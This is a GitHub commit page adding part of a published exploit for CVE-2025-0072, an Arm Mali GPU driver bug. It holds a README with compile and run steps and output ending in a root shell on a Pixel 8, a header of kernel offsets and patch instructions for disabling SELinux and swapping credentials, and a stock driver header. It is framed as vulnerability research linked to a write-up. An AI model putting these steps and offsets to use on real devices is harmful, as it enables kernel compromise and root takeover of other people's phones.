Skip to content

Commit 105618f

Browse files
authored
Merge pull request #889 from github/2025-0072
blog material
2 parents a0ea252 + 8d27211 commit 105618f

File tree

13 files changed

+3237
-0
lines changed

13 files changed

+3237
-0
lines changed
Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
## Exploit for CVE-2025-0072
2+
3+
The write up can be found [here](https://github.blog/security/vulnerability-research/bypassing-mte-with-cve-2025-0072). This is a bug in the Arm Mali kernel driver that I reported in December 2024. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root.
4+
5+
The exploit is tested on the Google Pixel 8 with the November 2024 patch (`AP3A.241105.007`). It needs to be compiled with OpenCL and linked with the OpenCL library `libGLES_mali.so`. The library can be found in a Pixel 8 device in `vendor/lib64/egl/libGLES_mali.so` and the OpenCL header files can be found in the KhronosGroup's [OpenCL-headers repository](https://github.com/KhronosGroup/OpenCL-Headers). The specific header that I used was the [v2023.04.17](https://github.com/KhronosGroup/OpenCL-Headers/releases/tag/v2023.04.17) version, although other versions should also work. For reference, I used the following command to compile with clang in ndk-26:
6+
7+
```
8+
android-ndk-r26b/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_userio.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_userio
9+
```
10+
11+
The exploit needs to be linked to `libGLES_mali.so`. This can be done by setting the `LD_LIBRARY_PATH` to `/vendor/lib64/egl`. The exploit rarely fails and even if it does, it does not normally corrupt or crash the system. So in case it fails, it can be rerun. If successful, it should disable SELinux and gain root.
12+
13+
```
14+
shiba:/data/local/tmp $ LD_LIBRARY_PATH=/vendor/lib64/egl ./mali_userio
15+
gpu_addr 5ffff94000
16+
group_handle 1 cookie 30000
17+
group_handle 1 cookie 30000
18+
found entry 4000093deaf443 at 384 in page 0
19+
overwrite addr : 5ffff00c60 c60
20+
overwrite addr : 5fffb00c60 c60
21+
overwrite addr : 5ffff00f40 f40
22+
overwrite addr : 5fffb00f40 f40
23+
run enforce
24+
result 50
25+
clean up
26+
shiba:/ #
27+
```
28+
29+
To test it with MTE enabled, follow [these instructions](https://outflux.net/blog/archives/2023/10/26/enable-mte-on-pixel-8/) to enable kernel MTE.
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
#ifndef FIRMWARE_OFFSETS_H
2+
#define FIRMWARE_OFFSETS_H
3+
4+
#define AVC_DENY_2411 0x839c60
5+
6+
#define SEL_READ_ENFORCE_2411 0x84bf40
7+
8+
#define INIT_CRED_2411 0x280c948
9+
10+
#define COMMIT_CREDS_2411 0x174f38
11+
12+
#define ADD_COMMIT_2411 0x913ce108 //add x8, x8, #0xf38
13+
14+
#define ADD_INIT_2411 0x91252000 //add x0, x0, #0x948
15+
16+
#endif
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
#ifndef LOG_UTILS_H
2+
#define LOG_UTILS_H
3+
4+
#ifdef SHELL
5+
#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__)
6+
#else
7+
#include <android/log.h>
8+
#define LOG(fmt, ...) __android_log_print(ANDROID_LOG_ERROR, "exploit", fmt, ##__VA_ARGS__)
9+
#endif
10+
11+
#endif
Lines changed: 228 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,228 @@
1+
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
2+
/*
3+
*
4+
* (C) COPYRIGHT 2022 ARM Limited. All rights reserved.
5+
*
6+
* This program is free software and is provided to you under the terms of the
7+
* GNU General Public License version 2 as published by the Free Software
8+
* Foundation, and any use by you of this program is subject to the terms
9+
* of such GNU license.
10+
*
11+
* This program is distributed in the hope that it will be useful,
12+
* but WITHOUT ANY WARRANTY; without even the implied warranty of
13+
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14+
* GNU General Public License for more details.
15+
*
16+
* You should have received a copy of the GNU General Public License
17+
* along with this program; if not, you can access it online at
18+
* http://www.gnu.org/licenses/gpl-2.0.html.
19+
*
20+
*/
21+
22+
#ifndef _UAPI_BASE_COMMON_KERNEL_H_
23+
#define _UAPI_BASE_COMMON_KERNEL_H_
24+
25+
#include <linux/types.h>
26+
#include "mali_base_kernel.h"
27+
28+
#define LOCAL_PAGE_SHIFT 12
29+
30+
#define BASE_GPU_NUM_TEXTURE_FEATURES_REGISTERS 4
31+
32+
/* Memory allocation, access/hint flags & mask.
33+
*
34+
* See base_mem_alloc_flags.
35+
*/
36+
37+
/* IN */
38+
/* Read access CPU side
39+
*/
40+
#define BASE_MEM_PROT_CPU_RD ((base_mem_alloc_flags)1 << 0)
41+
42+
/* Write access CPU side
43+
*/
44+
#define BASE_MEM_PROT_CPU_WR ((base_mem_alloc_flags)1 << 1)
45+
46+
/* Read access GPU side
47+
*/
48+
#define BASE_MEM_PROT_GPU_RD ((base_mem_alloc_flags)1 << 2)
49+
50+
/* Write access GPU side
51+
*/
52+
#define BASE_MEM_PROT_GPU_WR ((base_mem_alloc_flags)1 << 3)
53+
54+
/* Execute allowed on the GPU side
55+
*/
56+
#define BASE_MEM_PROT_GPU_EX ((base_mem_alloc_flags)1 << 4)
57+
58+
/* Will be permanently mapped in kernel space.
59+
* Flag is only allowed on allocations originating from kbase.
60+
*/
61+
#define BASEP_MEM_PERMANENT_KERNEL_MAPPING ((base_mem_alloc_flags)1 << 5)
62+
63+
/* The allocation will completely reside within the same 4GB chunk in the GPU
64+
* virtual space.
65+
* Since this flag is primarily required only for the TLS memory which will
66+
* not be used to contain executable code and also not used for Tiler heap,
67+
* it can't be used along with BASE_MEM_PROT_GPU_EX and TILER_ALIGN_TOP flags.
68+
*/
69+
#define BASE_MEM_GPU_VA_SAME_4GB_PAGE ((base_mem_alloc_flags)1 << 6)
70+
71+
/* Userspace is not allowed to free this memory.
72+
* Flag is only allowed on allocations originating from kbase.
73+
*/
74+
#define BASEP_MEM_NO_USER_FREE ((base_mem_alloc_flags)1 << 7)
75+
76+
/* Grow backing store on GPU Page Fault
77+
*/
78+
#define BASE_MEM_GROW_ON_GPF ((base_mem_alloc_flags)1 << 9)
79+
80+
/* Page coherence Outer shareable, if available
81+
*/
82+
#define BASE_MEM_COHERENT_SYSTEM ((base_mem_alloc_flags)1 << 10)
83+
84+
/* Page coherence Inner shareable
85+
*/
86+
#define BASE_MEM_COHERENT_LOCAL ((base_mem_alloc_flags)1 << 11)
87+
88+
/* IN/OUT */
89+
/* Should be cached on the CPU, returned if actually cached
90+
*/
91+
#define BASE_MEM_CACHED_CPU ((base_mem_alloc_flags)1 << 12)
92+
93+
/* IN/OUT */
94+
/* Must have same VA on both the GPU and the CPU
95+
*/
96+
#define BASE_MEM_SAME_VA ((base_mem_alloc_flags)1 << 13)
97+
98+
/* OUT */
99+
/* Must call mmap to acquire a GPU address for the allocation
100+
*/
101+
#define BASE_MEM_NEED_MMAP ((base_mem_alloc_flags)1 << 14)
102+
103+
/* IN */
104+
/* Page coherence Outer shareable, required.
105+
*/
106+
#define BASE_MEM_COHERENT_SYSTEM_REQUIRED ((base_mem_alloc_flags)1 << 15)
107+
108+
/* Protected memory
109+
*/
110+
#define BASE_MEM_PROTECTED ((base_mem_alloc_flags)1 << 16)
111+
112+
/* Not needed physical memory
113+
*/
114+
#define BASE_MEM_DONT_NEED ((base_mem_alloc_flags)1 << 17)
115+
116+
/* Must use shared CPU/GPU zone (SAME_VA zone) but doesn't require the
117+
* addresses to be the same
118+
*/
119+
#define BASE_MEM_IMPORT_SHARED ((base_mem_alloc_flags)1 << 18)
120+
121+
/* Should be uncached on the GPU, will work only for GPUs using AARCH64 mmu
122+
* mode. Some components within the GPU might only be able to access memory
123+
* that is GPU cacheable. Refer to the specific GPU implementation for more
124+
* details. The 3 shareability flags will be ignored for GPU uncached memory.
125+
* If used while importing USER_BUFFER type memory, then the import will fail
126+
* if the memory is not aligned to GPU and CPU cache line width.
127+
*/
128+
#define BASE_MEM_UNCACHED_GPU ((base_mem_alloc_flags)1 << 21)
129+
130+
/*
131+
* Bits [22:25] for group_id (0~15).
132+
*
133+
* base_mem_group_id_set() should be used to pack a memory group ID into a
134+
* base_mem_alloc_flags value instead of accessing the bits directly.
135+
* base_mem_group_id_get() should be used to extract the memory group ID from
136+
* a base_mem_alloc_flags value.
137+
*/
138+
#define BASEP_MEM_GROUP_ID_SHIFT 22
139+
#define BASE_MEM_GROUP_ID_MASK ((base_mem_alloc_flags)0xF << BASEP_MEM_GROUP_ID_SHIFT)
140+
141+
/* Must do CPU cache maintenance when imported memory is mapped/unmapped
142+
* on GPU. Currently applicable to dma-buf type only.
143+
*/
144+
#define BASE_MEM_IMPORT_SYNC_ON_MAP_UNMAP ((base_mem_alloc_flags)1 << 26)
145+
146+
/* OUT */
147+
/* Kernel side cache sync ops required */
148+
#define BASE_MEM_KERNEL_SYNC ((base_mem_alloc_flags)1 << 28)
149+
150+
/* Number of bits used as flags for base memory management
151+
*
152+
* Must be kept in sync with the base_mem_alloc_flags flags
153+
*/
154+
#define BASE_MEM_FLAGS_NR_BITS 30
155+
156+
/* A mask for all output bits, excluding IN/OUT bits.
157+
*/
158+
#define BASE_MEM_FLAGS_OUTPUT_MASK BASE_MEM_NEED_MMAP
159+
160+
/* A mask for all input bits, including IN/OUT bits.
161+
*/
162+
#define BASE_MEM_FLAGS_INPUT_MASK \
163+
(((1 << BASE_MEM_FLAGS_NR_BITS) - 1) & ~BASE_MEM_FLAGS_OUTPUT_MASK)
164+
165+
/* Special base mem handles.
166+
*/
167+
#define BASEP_MEM_INVALID_HANDLE (0ul)
168+
#define BASE_MEM_MMU_DUMP_HANDLE (1ul << LOCAL_PAGE_SHIFT)
169+
#define BASE_MEM_TRACE_BUFFER_HANDLE (2ul << LOCAL_PAGE_SHIFT)
170+
#define BASE_MEM_MAP_TRACKING_HANDLE (3ul << LOCAL_PAGE_SHIFT)
171+
#define BASEP_MEM_WRITE_ALLOC_PAGES_HANDLE (4ul << LOCAL_PAGE_SHIFT)
172+
/* reserved handles ..-47<<PAGE_SHIFT> for future special handles */
173+
#define BASE_MEM_COOKIE_BASE (64ul << LOCAL_PAGE_SHIFT)
174+
#define BASE_MEM_FIRST_FREE_ADDRESS ((BITS_PER_LONG << LOCAL_PAGE_SHIFT) + BASE_MEM_COOKIE_BASE)
175+
176+
/* Flags to pass to ::base_context_init.
177+
* Flags can be ORed together to enable multiple things.
178+
*
179+
* These share the same space as BASEP_CONTEXT_FLAG_*, and so must
180+
* not collide with them.
181+
*/
182+
typedef __u32 base_context_create_flags;
183+
184+
/* Flags for base context */
185+
186+
/* No flags set */
187+
#define BASE_CONTEXT_CREATE_FLAG_NONE ((base_context_create_flags)0)
188+
189+
/* Base context is embedded in a cctx object (flag used for CINSTR
190+
* software counter macros)
191+
*/
192+
#define BASE_CONTEXT_CCTX_EMBEDDED ((base_context_create_flags)1 << 0)
193+
194+
/* Base context is a 'System Monitor' context for Hardware counters.
195+
*
196+
* One important side effect of this is that job submission is disabled.
197+
*/
198+
#define BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED ((base_context_create_flags)1 << 1)
199+
200+
/* Bit-shift used to encode a memory group ID in base_context_create_flags
201+
*/
202+
#define BASEP_CONTEXT_MMU_GROUP_ID_SHIFT (3)
203+
204+
/* Bitmask used to encode a memory group ID in base_context_create_flags
205+
*/
206+
#define BASEP_CONTEXT_MMU_GROUP_ID_MASK \
207+
((base_context_create_flags)0xF << BASEP_CONTEXT_MMU_GROUP_ID_SHIFT)
208+
209+
/* Bitpattern describing the base_context_create_flags that can be
210+
* passed to the kernel
211+
*/
212+
#define BASEP_CONTEXT_CREATE_KERNEL_FLAGS \
213+
(BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED | BASEP_CONTEXT_MMU_GROUP_ID_MASK)
214+
215+
/* Flags for base tracepoint
216+
*/
217+
218+
/* Enable additional tracepoints for latency measurements (TL_ATOM_READY,
219+
* TL_ATOM_DONE, TL_ATOM_PRIO_CHANGE, TL_ATOM_EVENT_POST)
220+
*/
221+
#define BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS (1 << 0)
222+
223+
/* Indicate that job dumping is enabled. This could affect certain timers
224+
* to account for the performance impact.
225+
*/
226+
#define BASE_TLSTREAM_JOB_DUMPING_ENABLED (1 << 1)
227+
228+
#endif /* _UAPI_BASE_COMMON_KERNEL_H_ */

0 commit comments

Comments
 (0)